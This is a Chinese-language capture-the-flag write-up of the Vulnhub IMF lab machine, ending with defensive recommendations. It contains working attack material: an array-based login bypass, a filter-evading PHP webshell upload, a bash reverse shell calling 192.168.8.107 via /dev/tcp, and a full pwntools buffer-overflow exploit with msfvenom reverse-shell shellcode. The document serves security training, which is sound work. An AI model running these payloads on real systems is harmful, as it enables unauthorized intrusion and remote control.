[Vulnhub] IMF File Upload Bypass&Buffer Overflow
字数 1600 2025-08-19 12:41:30
IMF File Upload Bypass & Buffer Overflow 漏洞利用教学文档
1. 信息收集阶段
1.1 目标识别
- IP地址: 192.168.8.103
- 开放端口: TCP 80 (HTTP)
1.2 Nmap扫描
nmap -p- 192.168.8.103 --min-rate 1000 -sC -sV
扫描结果:
- 80/tcp open http Apache httpd 2.4.18 (Ubuntu)
- 网站标题: IMF - Homepage
2. Flag获取过程
2.1 Flag 1
位置: http://192.168.8.103/contact.php
内容: flag1{YWxsdGhlZmlsZXM=}
解码: allthefiles (Base64解码)
2.2 Flag 2
通过拼接文件名发现:
Base64编码: ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解码: flag2{aW1mYWRtaW5pc3RyYXRvcg==}
二次解码: imfadministrator
2.3 Flag 3
登录页面: http://192.168.8.103/imfadministrator/
登录凭证:
- 用户名:
rmichaels - 密码:
pass[]=123(使用数组绕过验证)
Flag内容: flag3{Y29udGludWVUT2Ntcw==}
解码: continueTOcms
2.4 Flag 4
使用SQLMap进行SQL注入:
sqlmap -u "http://192.168.8.103/imfadministrator/cms.php?pagename=home" \
--cookie "PHPSESSID=mtcagv7kevus11r651k0ekor65" \
-D admin -T pages --dump-all --batch
发现文件: uploadr942.php (Base64解码dXBsb2Fkcjk0Mi5waHA=)
2.5 Flag 5
上传绕过技术1:
- 在请求体中添加
GIF8;伪造文件头 - 使用十六进制编码绕过WAF过滤
system关键字
GIF8;<?php"\x73\79\x73\x74\x65\x6d"($_GET['cmd']);?>
上传绕过技术2:
echo 'FFD8FFEo' | xxd -r -p > test.gif
echo '<?php echo `id`' >> test.gif
echo 'GIF8;<?php echo `/bin/bash -c 'bash -i >& /dev/tcp/192.168.8.107/10032 0>&1'`;?>' >> test.gif
获取Flag5: flag5{YWdlbnRzZXJ2aWNlcw==}
解码: agentservices
3. 缓冲区溢出利用
3.1 环境设置
使用Chisel建立反向隧道:
# Kali (攻击机)
./chisel server -p 8888 --reverse
# 目标机
./chisel client 192.168.8.107:8888 R:7788:localhost:7788 &
3.2 漏洞分析
- 发现
agent程序在输入特定ID(0x2ddd984或48093572)后会以root权限运行 report函数中的gets函数存在缓冲区溢出漏洞
3.3 安全机制检查
使用GDB Peda检查二进制文件安全机制:
gdb -q ./agents
checksec
结果:
- CANARY: disabled
- FORTIFY: disabled
- NX: disabled
- PIE: disabled
- RELRO: Partial
3.4 漏洞利用步骤
- 确定偏移量:
pattern_create 2000
pattern_offset 0x74414156
发现偏移量为168字节
- 生成Shellcode:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.107 LPORT=10034 \
-f python -b "\x00\x0a\x0d"
- 查找ROP gadget:
发现call eax指令地址:0x08048563
3.5 利用脚本
from pwn import *
# 设置参数
ip = "127.0.0.1"
port = 7788
local_port = 10034
# 建立连接
client = remote(ip, port)
initial_response = client.recv(512).decode()
# 发送特殊ID
client.sendline(b"48093572")
response1 = client.recv(512).decode()
client.sendline(b"3")
# 构造payload
shellcode = (
b"\xbe\xd7\x72\xc5\xb1\xd9\xeb\xd9\x74\x24\xf4\x58\x2b"
b"\xc9\xb1\x12\x31\x70\x12\x03\x70\x12\x83\x17\x76\x27"
b"\x44\xa6\xac\x50\x44\x9b\x11\xcc\xe1\x19\x1f\x13\x45"
b"\x7b\xd2\x54\x35\xda\x5c\x6b\xf7\x5c\xd5\xed\xfe\x34"
b"\x26\xa5\x09\xaf\xce\xb4\x09\x08\x3d\x30\xe8\xe6\x27"
b"\x12\xba\x55\x1b\x91\xb5\xb8\x96\x16\x97\x52\x47\x38"
b"\x6b\xca\xff\x69\xa4\x68\x69\xff\x59\x3e\x3a\x76\x7c"
b"\x0e\xb7\x45\xff"
)
padding = b"A" * (168 - len(shellcode))
call_eax_gadget = b"\x63\x85\x04\x08\n"
payload = shellcode + padding + call_eax_gadget
# 设置监听并发送payload
listener = listen(local_port)
client.send(payload)
listener.wait_for_connection()
listener.interactive()
4. 关键知识点总结
-
文件上传绕过技术:
- 伪造文件头(GIF8)
- 十六进制编码绕过关键字过滤
- 使用数组绕过身份验证
-
SQL注入:
- 使用SQLMap自动化工具
- 需要维持会话cookie
-
缓冲区溢出利用:
- 确定偏移量
- 检查安全机制
- 生成无坏字符的shellcode
- 利用ROP gadget跳转执行
-
权限提升:
- 利用root权限运行的服务
- 建立反向shell连接
-
网络隧道:
- 使用Chisel建立反向隧道
- 端口转发技术
5. 防御建议
-
文件上传:
- 严格验证文件类型和内容
- 使用白名单而非黑名单
- 在服务器端进行验证
-
SQL注入:
- 使用预处理语句
- 最小权限原则
-
缓冲区溢出:
- 启用所有安全机制(CANARY, NX, PIE等)
- 使用安全的字符串处理函数
- 进行边界检查
-
权限控制:
- 避免以root权限运行应用程序
- 使用最小特权原则
-
输入验证:
- 对所有用户输入进行严格验证
- 使用安全的API处理用户输入